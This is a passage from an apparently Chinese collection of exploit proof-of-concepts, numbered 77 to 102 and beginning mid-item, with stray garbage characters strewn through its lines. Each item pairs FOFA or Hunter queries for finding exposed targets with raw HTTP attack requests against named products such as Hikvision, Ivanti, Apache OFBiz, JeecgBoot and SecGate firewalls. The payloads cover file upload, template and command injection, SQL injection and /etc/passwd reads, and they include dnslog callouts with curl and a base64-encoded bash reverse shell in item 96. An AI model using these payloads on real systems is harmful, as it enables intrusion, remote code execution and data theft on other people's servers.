6 N" d8 ?0 W' c( O7 a2 W0 N  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
8 i, K0 {3 i- Z1 P, |6 a; N  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}

9 R6 q1 S/ T+ X' x- L
2 [& K& s6 l. u+ n% z( mGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x



. q1 z7 d7 `" B$ \0 e: a7 B3 D- o77. F22服装管理软件系统UploadHandler.ashx任意文件上传
: B7 V; B$ t. ~FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
8 Q# r5 G4 v5 {9 |+ ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
4 Y9 j* `' b% b8 ]Connection: close
Content-Length: 433
$ N1 P8 H# o3 G, kAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

8 @; ^0 N& W/ s, u/ G2 P/upload/udplog
7 K% E& a! {! E6 [/ a5 C------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
. K7 }$ c2 R' @$ ?; |. [
8 j8 A3 I+ n8 A. dSubmit Query
2 M+ P- z+ x/ \5 _% g9 i------------398jnjVTTlDVXHlE7yYnfwBoix--
9 U9 n2 o, J9 Y% n" ^

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
0 u/ S$ ~/ B8 T3 b. i* D" D5 zContent-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

2 Y0 X4 M5 n/ ~------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
7 p# J6 d9 X( P5 l9 W
YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
6 S! ^8 j$ |% E3 [" B4 P# I" Z
/Applications/SkillDevelopAndEHS/
2 e% r, X1 g+ O4 Z------YsOxWxSvj1KyZow1PTsh98fdu6l--


) c  D) b% D- gGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
6 I( |& t5 m( C6 D+ J8 z0 E( iHost: x.x.x.x


+ R# |  N9 e2 f) z1 ~79. BYTEVALUE 百为流控路由器远程命令执行
' L7 k$ m1 P: G; d* lFOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
; j' u0 F( c7 n- ^+ n9 gUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: \+ z5 Y; r3 k% u1 jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
* V1 h/ j) }+ i& dConnection: close
" d$ {& D) `4 a! ]/ wUpgrade-Insecure-Requests: 1
* C) Z, z$ f6 m# Q5 {3 `6 l

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
. I% X3 h$ O5 H' uFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
, r# T  x) `* A) ]( ]. oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 L. P0 y: a: c% X% YContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  I5 {% Y, ]. E8 N- gAccept-Encoding: gzip, deflate
' J" u8 d( A5 G; s4 t2 m- BAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ N  ?& g5 f2 T9 k2 e& J2 Z! uConnection: close
. R* w  T2 F+ N8 D9 d9 sContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
+ U5 [/ |8 ?4 \: B$ c

8 l2 U& z  ~+ p/ Y: vGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
5 t) p: n* s7 M8 g! ?6 ^. nAccept-Encoding: gzip
$ N' p+ B8 e( ~" g: C' g
* E7 U$ P& s# U! `# n4 S
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
8 ?+ B8 r% X2 Z( H. nAccept-Encoding: gzip

1 L* t% f6 K4 u# c' V* Z2 t
+ U# A  J/ g* B8 y5 |* o82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
; |/ d* B  B, J! y- U- Q3 l1 J' E, mFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
& l) H. V. [# DAccept-Encoding: gzip
; b8 D) ?) K* K5 h- G! e7 `  SConnection: close
  c% m4 i! o0 xContent-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
2 A) B! {$ r. g5 U# C

  O& ^+ r7 q4 @/ a/ Q+ j! Z# v5 p  A83. JeecgBoot testConnection 远程命令执行
' q; |: x# C2 i: z7 v9 vFOFA：title=="JeecgBoot 企业级低代码平台"


5 N3 T. [2 d' W6 h/ q9 v$ g8 `POST /jmreport/testConnection HTTP/1.1
: l- O% v3 C5 P4 {% B- R' R; THost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 [7 J9 V) R' O5 a# z! _0 jContent-Length: 8881
Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
2 @# C9 q* U2 Z7 \* z3 ^$ X# a1 NContent-Type: application/json
  H  @% ^4 u4 @
; S7 B0 C5 G) v# G2 HPAYLOAD

84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

& K  ?& X1 ?0 _
1 @& l3 D8 w3 A6 f2 g
8 h& O' K7 H# IPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
5 u8 C4 y/ k3 O7 ?! n1 ?; RUser-Agent: curl/7.88.1
Content-Length: 156
! s) i# D7 f* p4 E. n' \Accept: */*
+ J8 o  V, i: S7 u7 V+ g9 b: JConnection: close
Content-Type: application/json
3 I  z) }0 Z# @2 U& W$ i: M# I  zAccept-Encoding: gzip
. {) W- M1 M6 N4 z" L0 R2 }
+ E8 p5 K. ?$ Q$ a{
! X( D! J1 n0 e" ~* Z% X  Z "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
  g( q6 C& T$ H( e}
8 n& e" B6 ~/ _. q* s; \2 O% F

9 I7 q8 Q& f. \/ c6 q85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
9 A% K# `2 q* K$ K' j$ DFOFA：body="sysaid-logo-dark-green.png"
- f0 J% ^3 u" E! z) @7 MEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
4 [6 P  V" Q" {Host: x.x.x.x
9 g8 ?3 `) u9 v6 jUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 L/ F7 m7 P. C9 Y& XContent-Type: application/octet-stream
Accept-Encoding: gzip

PAYLOAD
+ [' }% T; q5 c
! }7 }6 c$ D3 b9 ?) W回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
" g/ k- @: Q" L1 x6 V2 l! N) ]! NConnection: close
Content-Length: 44
Accept: */*
7 A; K4 ?" h& v1 P/ i9 N# lAccept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

0 p) I4 n# w2 r5 D% F% W4 P" _! E* L0 r( `
: P8 `+ A) Q2 v6 I! b2 m87. 安恒明御安全网关aaa_local_web_preview文件上传
) J$ G" }7 n/ w, gFOFA：title="明御安全网关"
* G! b! m! V" Y9 k* x8 APOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
3 {) e7 I' \* p" W" D% x) {Host: X.X.X.X
2 T/ x3 l& i: z2 L( l. d$ aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 U  _3 `* g, d  K6 tConnection: close
$ x% X( m% E; G5 y- P+ \! AContent-Length: 198
Accept-Encoding: gzip
( C$ h" ~* J; G5 qContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
, m. D; V3 Y$ Q
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
Content-Type: text/plain
: [0 X# B" o+ u4 L$ A
; \- |/ }! L  _' @4 k2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
* Z/ Q. u" u4 Y- c7 b0 m# D
6 R+ x) n: V# V. p" ]
/jfhatuwe.php
  \( ~! b. s: L3 K
88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
& i+ i* ]* c( R! u3 L$ mGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: z' D' [8 C8 T& u- nAccept-Encoding: gzip, deflate
/ T5 H+ z% t2 L' K5 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
- W, A7 G  P! `3 h
  l4 Q$ _+ c, V6 g6 a; X: J7 l9 Q
/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
0 N+ R/ G, F1 m# V& O! |$ LPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
1 I2 O* w' T# F! ^. b5 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 \( I  i: X" O! R- e8 d6 CConnection: close
Content-Length: 41
2 S# S' F. o- m! x8 {Content-Type: application/x-www-form-urlencoded
% ]* }5 p+ D4 a0 a) N! ZAccept-Encoding: gzip
$ `" i5 E7 M- m3 I* D$ w* F1 Y
) l& F; X# }5 W( z6 W' e& h9 Zoption=2&GUID=-1'+union+select+111*222--+
! }. z! U3 G( n
6 g. ^9 w# P3 a* M0 J+ d  Z
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
8 p6 k# _. C. }! D$ H2 IHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 j; i0 k6 C1 K: i% _" MContent-Length: 51
( s1 ^  \4 M- |- V* pAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! p1 j$ p$ k3 r, C  JConnection: close
" z7 `* |- d% Z" J: {9 hContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
7 A1 f6 g2 j$ x9 R& g9 j
' m5 ?' _; E! ?- F& xjsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
& R, L! U2 w  s4 C

. \' M( e2 J8 P7 @& T. C91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
6 O! x/ l, V5 c: e" R8 M% bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
% w" h3 O. b/ y. d; k( _( b0 ?Accept: */*
Connection: keep-alive
1 C, Q" F+ Q: f1 j) D
, w6 [3 H* p% @( h  S; ?( V

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
$ q: T6 }+ C! b" ~7 V* YPOST /center/api/session HTTP/1.1
& X5 F2 Y4 h4 x: q; @, q1 d% _Host:
3 i, |1 F9 [# `; O1 t2 \  |Accept: application/json, text/plain, */*
% ~" N& z$ _5 y  O( IAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
0 {2 O" ~1 c& k8 oTestcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
; {1 y5 B1 D3 L3 DAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

3 W* l/ ]$ U! WPAYLOAD
3 X' D. R- d4 i5 p9 k7 l$ Y) b

8 j& h0 e. F1 g93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
3 N! f, k+ h2 s% D8 M2 N: D$ XFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
4 l: D0 f* a& U% i- s9 U7 YHost: x.x.x.x
% q) @, m$ d% qContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- B4 z6 S2 T) x& W6 PUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. e& N8 e; {& h: w/ {. w/ E. e
------WebKitFormBoundarykcbkgdfx
, n# T& [/ x# l3 y5 S' N+ w7 O; yContent-Disposition: form-data; name="MAX_FILE_SIZE"

5 f7 n8 W3 [9 {* d10000000
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
& X6 m& r3 \% K# c# N$ x
+ J; c- e9 A/ H* Gwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
$ L; n; c9 `5 `# U) ?5 v; k) zContent-Disposition: form-data; name="submit_post"
$ v& j! }0 Z6 }1 T) _% x
# r  {- X& i3 B+ O; a$ ?4 robj_app_upfile
7 k6 }1 A  O  k4 U& X------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"

- S' n9 v1 M/ N2 t0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--


7 c/ E% [0 M- D- p7 O2 m6 [) uGET /attachements/xlskxknxa.txt HTTP/1.1
$ T7 ?8 n7 A8 e/ XHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ h. d" F: f& W" i
& I) q, c* |$ l6 I. X; v
+ S9 K; p7 i% Y* o7 e) y94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
$ ]  _- B& N! @3 hFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
+ _/ z! D6 Z- zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
7 Z' T* [4 s" q" Y1 }1 z% @------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
, C; ]% q( }+ {# EContent-Type: text/plain
9 P* G% T- Y; N5 q; Y& G
( V4 \5 b5 R* b* S4 [# xpxplitttsrjnyoafavcajwkvhxindhmu
& K' K. l* @( t5 y' i------WebKitFormBoundarybqvzqvmt
6 B) q7 G8 v. N1 BContent-Disposition: form-data; name="submit_post"
# G2 a# i' h8 X+ n
obj_app_upfile
% ^! d$ ]( s7 `6 N------WebKitFormBoundarybqvzqvmt
9 e0 z% Z' x3 a" x4 x& |+ yContent-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
' i, {, E5 ~" D+ J; S( |  F------WebKitFormBoundarybqvzqvmt--


! n8 _5 ?4 B8 d2 v1 i9 s
1 V% w, D# E# t, A" J( SGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
3 _% _/ y6 a! G* b/ o8 fUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
- Z. y$ B/ x! c8 |- Y% e- d  D

- N2 [/ d& v: _0 S( k
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
% r3 E: s5 I1 h% V; S4 y3 ECVE-2023-49070
6 _! ^% y' O# m0 G& ~0 x7 ^FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
, E  f" q" o9 n; R6 K$ a9 a8 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
1 S3 n$ y8 ]3 m% y& w9 }Content-Length: 889
Content-Type: application/xml
# b0 J9 t( S* L# R/ g, {Accept-Encoding: gzip
8 w9 B1 O* E3 ]3 \& c
<?xml version="1.0"?>
3 g/ v  Y' a8 {) i5 i. a<methodCall>
$ f6 s" ]4 D: L4 u6 x) o   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
/ h0 r( m; J8 Y: t/ p6 n( K  x    <params>
      <param>
      <value>
$ ^& u- {$ ^, H3 J        <struct>
2 g4 _4 w4 Z7 W+ I( v6 Q6 j( B       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
6 N) A, u( l0 X7 Z6 v7 r$ E        </member>
& P  R) U0 P+ S2 G# {% n: I, w      </struct>
6 P3 I9 w; X" q2 ~9 p      </value>
: Y& t9 p4 s( e: v    </param>
& B' _" k$ J4 g4 x' f    </params>
" N! h0 t2 w% W" `1 z</methodCall>
) B8 D) e4 p6 c; ^
6 P( {8 g' [; C( x
* p5 d- ^# X1 S$ ?  `8 S. ^用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
- j8 [1 }4 B  `3 h/ ]
3 r& @/ a+ ]1 F/ F
将生成的payload替换到上面的POC
3 z. T3 B: m* a. Y/ U9 D9 hPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
% G% [$ `0 y% ]4 VAccept-Encoding: gzip
1 S- Q0 a6 Z5 y& R$ B, l
! B# J7 V& T* w" a1 f* }* ~& w1 NPAYLOAD
( C7 \4 A; P3 M3 Y" ~
: g1 Q6 h& `4 w; F& l96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
9 S  E0 q5 Q- R4 f$ m; d6 x* wPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 ^6 U: D, G* P/ {1 RHost: localhost:8443
  Y  `; b/ w  ~0 c: OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# x# W2 Y  l2 S- d$ P4 E* A! mAccept: */*
' u* O" \" [) _- F: h. f9 `4 z! V# OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 {% ]  k4 v, A" L4 k( M# b1 bContent-Type: application/x-www-form-urlencoded
1 m; j. W1 A" N. Q# g. G7 OContent-Length: 55

% B! l0 s7 }1 W' ^( P* I2 r+ CgroovyProgram=throw+new+Exception('id'.execute().text);


! g. F* ]" v4 x, S反弹shell
在kali上启动一个监听
, ?9 B' Z1 k# z& k4 cnc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
' u8 E4 _2 X3 E/ [  ^* R. ]+ g1 GAccept: */*
0 Z$ H2 l- d6 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
# p1 c1 F) v0 i. [' p* Q3 LContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
! n; R+ a' {( G* _6 f7 Y& @( n: MGET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
9 H' y9 f% N8 t* k7 @/ bAccept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
: m- U, T* P: `8 P. V; ?X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"

; N% l6 T9 o. O9 h2 l
98. SpiderFlow爬虫平台远程命令执行
0 l' r; w6 q  t5 {! P' HCVE-2024-0195
9 h; S: U, D& \FOFA：app="SpiderFlow"
  d- g$ m( ~, hPOST /function/save HTTP/1.1
. `7 q- N( ]$ j3 A0 j% h& _# aHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) z0 H5 X& o& ?9 [! g% aContent-Type: application/x-www-form-urlencoded; charset=UTF-8
' y( o6 a" r, K8 l. r5 ]X-Requested-With: XMLHttpRequest
# |* C0 S. i  G- y
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


99. Ncast盈可视高清智能录播系统busiFacade RCE
1 D. w) R0 J( T3 X8 QCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
. p6 Z, u! l1 S5 a- W. \  I% mPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
/ G3 w% \# F; K% d  l" H, `! n# OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
$ w- A6 n- f6 @% \& i9 g) gX-Requested-With: XMLHttpRequest
5 i; u) O# d2 [) R  I
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
1 z, B2 }" I. T2 M

9 k4 Q4 i4 e- ~( U/ l* S7 D' q$ o0 |100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
/ z5 K. a! I& U# KPOST /api/file/formimage HTTP/1.1
/ R: z- M2 {5 ^; ?# c: ZHost: 192.168.40.130
+ n* ~. l. q' d& sUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
9 S1 C+ s* {( _+ S6 m" XConnection: close
Content-Length: 201
8 ?3 a$ B2 U( f+ C7 nContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

* q/ s' y5 b. E, I6 d. k" j. w------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
1 ?& m/ Q/ O8 ]  ]- t3 {
& F  x7 J& o5 @/ J2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
$ F6 U' A3 \- n4 F$ {

- |* K( H! m! n* q5 c101. ivanti policy secure-22.6命令注入
3 `( D) Q9 I( f8 T; v2 Q, H* Q" TCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
, ~3 F3 R# p+ }  M1 h' _  I6 r0 SGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
. q( y6 p2 b- x$ VHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
9 O4 m1 X4 u4 V1 q6 lConnection: close
# }2 R9 t( L' k7 s* h( ]5 FAccept-Encoding: gzip
/ G4 n" T2 z6 ]8 ~
/ U# ?. J5 [/ I- M# ]) [# c# k
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
" G6 Q. S7 t) TCVE-2024-21893
; g, `, Q( _& v2 ]FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
( v: G) h3 d7 n0 b' j0 G- `! mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
: K  u0 v  A$ v/ E4 b
